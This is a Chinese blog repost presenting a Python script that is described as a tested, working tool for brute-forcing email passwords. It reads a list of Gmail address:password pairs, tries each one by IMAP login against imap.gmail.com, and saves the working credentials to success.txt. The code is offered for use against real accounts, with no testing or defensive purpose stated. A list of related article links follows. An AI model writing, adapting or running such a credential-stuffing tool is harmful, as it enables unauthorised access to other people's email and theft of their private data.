Python实现在线暴力破解邮箱账号密码功能示例【测试可用】

作者:5t4rk 时间:2023-09-05 17:01:42 

本文实例讲述了Python实现在线暴力破解邮箱账号密码功能。分享给大家供大家参考,具体如下:

dic 字典格式如下(mail.txt) :


username@gmail.com:password
username@gmail.com:password
username@gmail.com:password

以此类推,切记保存成utf-8编码格式。

放置在当前脚本目录,也可自己定义修改。

支持ssl https /imap协议。


# version 3.4.0
# coding='UTF-8'
# time='2014-09-16'
import _dummy_thread
import imaplib
import threading
# global variant
GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY = []
GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY_NUM = 0
GLOBAL_STRING_GMAIL_IMAP4_SERVER = 'imap.gmail.com'
GLOBAL_INT_GMAIL_IMAP4_SERVER_PORT = 143
GLOBAL_INT_GMAIL_IMAP4_SSL_PORT = 993
GLOBAL_WORKING_THREAD_MUTEX_LOCK = _dummy_thread.allocate_lock()
GLOBAL_ARRAY_BUFFER_MAX_LINES = 1000
GMAIL_BYTES_READED_TOTAL_SIZE = 0
GLOBAL_GMAIL_CURRENT_POSITION_TOTAL_LINES = 0
GLOBAL_READ_FINISH_STATUS_SUCCESS = False
# define global function
def Write_Save_Success_Gmail_Jobs(indexSuccess):
 Success_File = open('success.txt', 'a')
 Success_File.write(GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY[indexSuccess])
 Success_File.close()
def Write_Save_Fail_Gmail_Jobs(indexFail):
 Fail_File = open('fail.txt', 'a')
 Fail_File.write(GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY[indexFail])
 Fail_File.close()
# define global function
def Get_Parser_Account_Pwd(Index):
strAccountPwd = GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY[Index]
strUserName, strPassWord = strAccountPwd.split(':', 1)
return strUserName, strPassWord
# define global function
def Veritifying_Gmail_Imap_Account_Pwd(IndexGmail):
global GLOBAL_WORKING_THREAD_MUTEX_LOCK
global GLOBAL_GMAIL_CURRENT_POSITION_TOTAL_LINES
if ((IndexGmail >= 0) and (IndexGmail < GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY_NUM)) == True:
 GLOBAL_WORKING_THREAD_MUTEX_LOCK.acquire()
 GLOBAL_GMAIL_CURRENT_POSITION_TOTAL_LINES += 1
 print('POSITION---------', GLOBAL_GMAIL_CURRENT_POSITION_TOTAL_LINES)
 print('IMAP INDEX-------', IndexGmail)
 print('IMAP USERNAME----', GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY[IndexGmail])
 Write_Save_Fail_Gmail_Jobs(IndexGmail)
 # GLOBAL_WORKING_THREAD_MUTEX_LOCK.release()
 print(GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY[IndexGmail])
 GmailImap4 = imaplib.IMAP4_SSL(GLOBAL_STRING_GMAIL_IMAP4_SERVER, GLOBAL_INT_GMAIL_IMAP4_SSL_PORT)
 GmailImap4.port = GLOBAL_INT_GMAIL_IMAP4_SERVER_PORT # 143
 stringGmailUserName, stringGmailPassWord = Get_Parser_Account_Pwd(IndexGmail)
 try:
  ResponseStatus = GmailImap4.login(stringGmailUserName, stringGmailPassWord)
 except GmailImap4.error :
  print('Logical errors - debug required')
  Write_Save_Fail_Gmail_Jobs(IndexGmail)
  GLOBAL_WORKING_THREAD_MUTEX_LOCK.release()
  return
 except GmailImap4.abort :
  print('Service errors - close and retry')
  GmailImap4.close()
  Write_Save_Fail_Gmail_Jobs(IndexGmail)
  GLOBAL_WORKING_THREAD_MUTEX_LOCK.release()
  return
 except GmailImap4.readonly:
  print('Mailbox status changed to read only')
  GmailImap4.close()
  Write_Save_Fail_Gmail_Jobs(IndexGmail)
  GLOBAL_WORKING_THREAD_MUTEX_LOCK.release()
  return
 if (ResponseStatus[0] == 'OK'):
  print('LOGIN SUCCESS')
  Write_Save_Success_Gmail_Jobs(IndexGmail)
  GmailImap4.logout()
  GLOBAL_WORKING_THREAD_MUTEX_LOCK.release()
 else:
  GmailImap4.close()
  print('LOGIN FAIL')
  print(ResponseStatus)
  Write_Save_Fail_Gmail_Jobs(IndexGmail)
  GLOBAL_WORKING_THREAD_MUTEX_LOCK.release()
else:
 return
# define global function
class Working_Zone_Thread(threading.Thread):
m_IndexStart = 0
m_IndexEnd = 0
def __init__(self, numEnd):
 self.m_IndexEnd = numEnd
 threading.Thread.__init__(self)
def run(self): # run process
 while True:
  if self.m_IndexStart < self.m_IndexEnd:
   Veritifying_Gmail_Imap_Account_Pwd(self.m_IndexStart)
   self.m_IndexStart = self.m_IndexStart + 1
  else:
   break
def _delete(self):
 threading.Thread._delete(self)
 print('thread delete is : ', self.getName())
# define read function
def Read_Send_Single_Func():
IndexStart = 0
print('--------read----star--')
global GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY_NUM
global GMAIL_BYTES_READED_TOTAL_SIZE
global GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY
File_Read = open('mail.txt', 'r', encoding='UTF-8')
File_Read.seek(GMAIL_BYTES_READED_TOTAL_SIZE, 0) # seek
while IndexStart < GLOBAL_ARRAY_BUFFER_MAX_LINES:
 line = File_Read.readline()
 if line:
  GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY.append(line)
  CbBytes = line.__len__()
  GMAIL_BYTES_READED_TOTAL_SIZE += CbBytes
  GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY_NUM += 1
  IndexStart = IndexStart + 1
 else:
  GLOBAL_READ_FINISH_STATUS_SUCCESS = True
  break
print('gmail read num ', IndexStart)
File_Read.close()
print('---------read----end--')
# main entry
if __name__ == '__main__':
print('Main Thread Start : ')
while True:
 if GLOBAL_READ_FINISH_STATUS_SUCCESS != True:
  Read_Send_Single_Func()
  wzt = Working_Zone_Thread(GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY_NUM)
  wzt.start()
  wzt.join()
  GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY_NUM = 0
  GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY.clear()
 else:
  print('data has run out : ')
  break
print('Main Thread End : ')

希望本文所述对大家Python程序设计有所帮助。

来源:http://blog.csdn.net/microzone/article/details/49928235

标签:Python,破解,邮箱
0
投稿

猜你喜欢

  • 使用Fabric自动化部署Django项目的实现

    2022-09-05 22:00:33
  • 详解MySQL数据库之更新语句

    2010-08-08 09:15:00
  • 用Eclipse写python程序

    2022-03-24 02:24:25
  • Django框架CBV装饰器中间件auth模块CSRF跨站请求问题

    2021-03-25 09:42:01
  • [翻译]标记语言和样式手册 Chapter 13 为文字指定样式

    2008-02-15 16:08:00
  • asp如何显示一个等待或欢迎信息?

    2010-06-08 09:39:00
  • Python爬虫获取op.gg英雄联盟英雄对位胜率的源码

    2024-01-02 13:03:52
  • win2000server IIS和tomcat5多站点配置

    2023-06-26 04:45:33
  • Python从列表推导到zip()函数的5种技巧总结

    2023-07-31 00:57:11
  • 玩转Python发短信的实现

    2021-09-17 20:38:54
  • 利用python爬取斗鱼app中照片方法实例

    2022-01-03 17:40:39
  • Java 数据库连接池c3p0 介绍

    2024-01-22 02:44:24
  • python基于opencv批量生成验证码的示例

    2022-04-07 22:42:07
  • javascript中parseInt()函数的定义和用法分析

    2024-04-22 22:44:16
  • Python中属性和描述符的正确使用

    2021-08-14 04:26:45
  • 基于Tensorflow使用CPU而不用GPU问题的解决

    2022-01-01 22:53:08
  • python基于concurrent模块实现多线程

    2023-09-10 18:33:46
  • Python数据清洗&预处理入门教程

    2021-08-15 20:14:24
  • 页面软键盘汉字输入

    2010-09-01 20:41:00
  • Python正则表达式中的量词符号与组问题小结

    2022-12-14 15:24:24
  • asp之家 网络编程 m.aspxhome.com